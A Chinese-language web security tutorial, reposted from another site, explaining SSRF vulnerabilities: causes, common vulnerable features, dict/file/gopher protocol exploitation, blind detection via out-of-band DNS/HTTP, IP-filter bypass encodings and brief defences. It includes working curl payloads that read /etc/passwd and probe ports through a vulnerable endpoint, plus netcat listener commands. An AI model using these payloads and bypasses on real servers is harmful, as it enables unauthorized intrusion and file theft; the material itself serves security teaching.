Web安全-SSRF服务端请求伪造 - 7

admin 2024年2月7日18:15:34评论11 views字数 4158阅读13分51秒阅读模式

一、什么是SSRF

SSRF(server-side request forge,服务端请求伪造),是攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来再外网探测或攻击内网服务。
思维导图

Web安全-SSRF服务端请求伪造 - 7

二、SSRF漏洞形成原因

大都是由于服务器端提供了从其他服务器应用获取数据的功能,但又没有做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送的请求,并返回对该目标请求的数据。
最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

三、与CSRF的区别

CSRF(跨站请求伪造,Cross-site request forgery)发生条件,当用户在安全网站A登陆后保持登陆的状态,并同时浏览了保存恶意代码的另一个网站B,此时B网站劫持用户浏览器并以用户登陆的状态对A网站发送了用户本人操作的请求。
CSRF是服务器没有对用户提交的数据进行随机值的校验,且对http请求的referer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF是服务器对用户提供的URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其他服务器。

四、SSRF攻击的危害

1、获取web应用可达服务器的banner信息,以及收集内网服务的指纹信息,内部网络和端口信息。
2、攻击运行在内网的系统或者应用程序,对含有漏洞的内网服务实施攻击获取webshell。
3、通过URL Scheme读取内部资源或者让服务器执行相应的攻击动作。
小知识:
  1. banner信息:软件开发商,软件名称等。
  2. 指纹识别:开放的端口,中间件的版本等。
  3. 获取webshell:Srtuts2命令执行,通过Redis未授权getshell等。

五、漏洞场景

1、从Web功能点寻找

通过URL地址分享网页的内容,通过目标地址获取了图片内容,如果此功能中没有对目标地址的范围做过过滤与限制,则可能存在SSRF漏洞。
这里有个问题,即使我们发现了有SSRF漏洞,但是有一种情况,我们是需要知道它的内网地址的。
  1. 第一种方法,就是前期的信息收集,发现了他内网的ip,直接利用。
  2. 第二种方法,就是通过FUZZ,对内网地址进行枚举。

2、在线翻译

这里我们可以在自己的服务器创建一个2.dtd文件,让它来请求,如果请求成功,就会在自己的服务器得到回显。

3、通过URL地址加载与下载图片

开发者为了更好的用户体验,通常对图片做一些调整,而没有直接使用img标签,就可能造成SSRF漏洞。

4、图片,文章收藏功能

类似于1中分享功能获取URL地址里的title及文本的内容作为显示。

5、社交分享功能

获取超链接的标题等内容进行显示,qq浏览器->qq->链接->服务端->数据。

6、转码服务

通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览,在线播放器->url地址。

7、云服务器厂商

它会远程执行一些命令来判断网站是否存活,所以如果可以捕获相应的信息,就可以进行ssrf测试。

8、网站采集,网站抓取的地方

一些网站会针对你的URL进行一些信息采集的工作。

9、邮件系统

比如接收收件的服务地址。

10、编码处理,属性信息处理,文件处理

比如ffpmg,imageMagick,docx,pdf,xml处理器等。

11、未公开的api实现以及其他扩展调用URL的功能

可以利用google语法加上这些关键字去寻找SSRF漏洞。

12、从URL的关键字寻找

share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
......

六、SSRF总结

  1. 能够对外发起网络请求的地方
  2. 从远程服务器请求资源的地方

七、漏洞利用

1、dict协议运用

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。
在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务版本等信息。
Dict服务器和客户机使用TCP端口2628。
Curl:一种命令行工具,作用是发出网络请求,获取数据。
Curl -v:显示HTTP通信的整个过程,包括端口连接和HTTP request头信息。
利用dict协议探测端口
本地利用:
curl -v 'dict://127.0.0.1:22'
远程利用:
curl -v 'http://www.baidu.com:8080/vulnhub/ssrf.php?url=dict://139.9.198.30:22'

2、file协议运用

file协议主要用于文件系统中获取文件内容。
本地利用:
curl -v 'file:///etc/passwd'
远程协议:
curl -v 'http://www.baidu.com:8080/vulnhub/ssrf.php?url=file:///etc/passwd'

3、gopher协议运用

1、首先在本地vps上面监听6789端口
nc -lvvp 6789
2、然后再使用gopher。
gopher://10.0.0.1:6789/Hi%0aEveryone%0athis%20is%20just%20a%20test

4、PHP中下面的函数使用不当会导致SSRF

  • curl_exec()
  • file_get_contents()
  • fsockopen()

5、curl_exec()

1、内外网端口探测 --dict://
http://47.105.75.177:8080/vulnhub/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:24680
http://47.105.75.177:8080/vulnhub/ssrf/ssrf1/curl.php?url=dict://127.0.0.1:22
2、我们在自己电脑上监听端口
nc -lvvp 3389
3、然后再有SSRF漏洞的地方执行:http://47.105.75.177:8080/vulnhub/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:3389

Web安全-SSRF服务端请求伪造 - 7

4、dict协议探测端口
如果说端口开启的话,那它就会有相应的显示,如果端口未开启,则没有相应的显示,但是这也是依据情况而定的。
如果我们不知道目标开了那些端口,这里我们就可以使用Burp对端口进行爆破,我们可以使用全端口爆破,也可以使用普通端口爆破。

Web安全-SSRF服务端请求伪造 - 7

6、敏感文件的读取

Windows:file://c:windowswin.ini
Linux:file:///etc/passwd
file:///etc/httpd/conf/httpd.conf

7、file_get_contents()

文件内容读取
php://filter/read=convert.base64-encode/resource=fgc.php
这里使用php的伪协议读取,我们再这里直接file://fgc.php的话,会直接解析出来,但是我们想要读取网页的源代码的话,还是要使用这个伪协议。

8、fsockopen()

fsockopen()-打开一个网络连接或unix套接字连接,这个函数可以指定的ip和端口里面的信息进行返回。

八、无回显的SSRF

第一种方式:HTTP带外通道
Burpsuite Collaborator client
第二种方式:DNSlog
http://www.dnslog.cn/

1、HTTP的带外通道

Web安全-SSRF服务端请求伪造 - 7

Web安全-SSRF服务端请求伪造 - 7

copy的内容:lvk4c5vtx5vukn8370bqdrpa61cr0g.burpcollaborator.net

Web安全-SSRF服务端请求伪造 - 7

SSRF的案例:https://blog.csdn.net/Fly_hps/article/details/84396690

2、DNSlog

1、打开网站:http://dnslog.cn/

Web安全-SSRF服务端请求伪造 - 7

2、cmdping一下dnslog地址。

Web安全-SSRF服务端请求伪造 - 7

3、得到回显。

Web安全-SSRF服务端请求伪造 - 7

九、SSRF漏洞利用限制绕过

1、利用解析URL

某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤,这时可能会出现对URL参数解析不当,导致可以绕过过滤。
访问http://[email protected]与访问10.10.10.10的内容一致。

Web安全-SSRF服务端请求伪造 - 7

Web安全-SSRF服务端请求伪造 - 7

2、IP地址转换成进制

1、例如:127.0.0.1这个地址可以改写成:

Web安全-SSRF服务端请求伪造 - 7

Web安全-SSRF服务端请求伪造 - 7

2、比如192.168.0.1这个地址可以改写:
8进制:0300.0250.1
16进制:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数i格式:0xC0A80001

3、添加端口可能绕过匹配正则

如:10.10.10.80:80

4、利用xip.io,xip.name

当我们访问这个网站的子域名时,如192.168.0.1.xip.io,会自动重定向到192.168.0.1
因此可以利用302跳转进行绕过,即IP地址设为ip.xip.io或www.ip.xip.io。

5、短网址绕过

内网IP地址有时会被正则表达式过滤掉,可以通过短网址的方式是来进行绕过;
生成短网址地址链接:https://www.ft12.com/

Web安全-SSRF服务端请求伪造 - 7

6、利用句号

127.0.0.1 >>> 127。0。0。1

7、探测内网域名

或者将自己的域名解析到内网ip。

8、[::]绕过localhost

http://[::]:80/

9、封闭式字母数字(Enclosed Alphanumerics):

Web安全-SSRF服务端请求伪造 - 7

10、@符

例如[email protected],则实际访问的是10.10.10.10。

十、SSRF漏洞防御

1、过滤返回信息,验证远程服务器对请求的响应。
2、统一错误信息
3、限制请求端口的为http常用的端口
4、设置黑名单内网IP
5、禁用不需要的协议,仅允许http和https请求。
文章来源:https://www.freebuf.com/articles/web/379115.html文章作者:小王的黑色短裤如有侵权,联系删除

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

原文始发于微信公众号(白帽子左一):Web安全-SSRF服务端请求伪造 - 7

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日18:15:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Web安全-SSRF服务端请求伪造 - 7https://cn-sec.com/archives/2478483.html

发表评论

匿名网友 填写信息